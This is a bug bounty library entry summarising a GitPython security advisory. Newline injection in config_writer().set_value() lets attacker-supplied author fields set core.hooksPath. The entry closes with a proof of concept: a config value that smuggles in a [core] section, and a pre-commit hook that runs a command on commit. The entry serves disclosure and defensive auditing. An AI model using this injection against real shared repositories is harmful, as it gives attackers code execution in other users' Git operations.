# GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

GitPython's set_value() allowed newline injection into .git/config, letting attacker-supplied author fields set core.hooksPath and execute arbitrary hook scripts.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: daridor9
- Disclosed: 2026-05-06
- CVE: CVE-2026-44244
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v87r-6q3f-2j67
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v87r-6q3f-2j67
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** GitPython GitConfigParser.set_value() / .git/config writer
**Root cause:** set_value() passes values to configparser without rejecting CR/LF/NUL; GitPython's _write() indents embedded newlines as continuation lines, but Git still parses an indented `[core]` stanza as a section header, making injected keys effective.
**Steps:**
1. Open repo config writer: `with repo.config_writer() as cw:`
2. Inject section via value: `cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")`
3. Verify: `git config core.hooksPath` returns `/tmp/hooks`
4. Create `/tmp/hooks/pre-commit` executable writing `id > /tmp/pwned`
5. Stage a file and `repo.git.commit(m="test")` to trigger the hook
**How found:** Auditing MLRun's project.push(), which passes caller-supplied author_name/author_email unsanitized into config_writer().set_value(); noticed GitPython's newline-to-continuation-line handling still yields a valid indented section header to Git.
**Exploitation:** Attacker controls author_name/author_email reaching set_value(); injected `[core]\nhooksPath=/tmp/hooks` poisons .git/config. Any subsequent hook-invoking Git operation (commit, merge, checkout) executes attacker scripts from that path. In shared/hosted environments (e.g. MLRun server), one user poisons a shared repo's config and hooks run in every other user's Git operations.
**Escalation:** Persistent config poisoning in a shared repo turns a single write into code execution for all users operating on that repo.
**Insight:** When a library 'sanitizes' newlines by indenting them as continuation lines, check whether the downstream parser (Git) still accepts indented section headers — the normalization can preserve the injection. Audit set_value()-style config writers for CR/LF/NUL and trace caller-supplied fields crossing trust boundaries.

## Proof of concept (copied exactly from the original report)

**Newline injection via set_value into core.hooksPath**

```
with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks
```

**Malicious pre-commit hook triggering RCE**

```
os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...
```

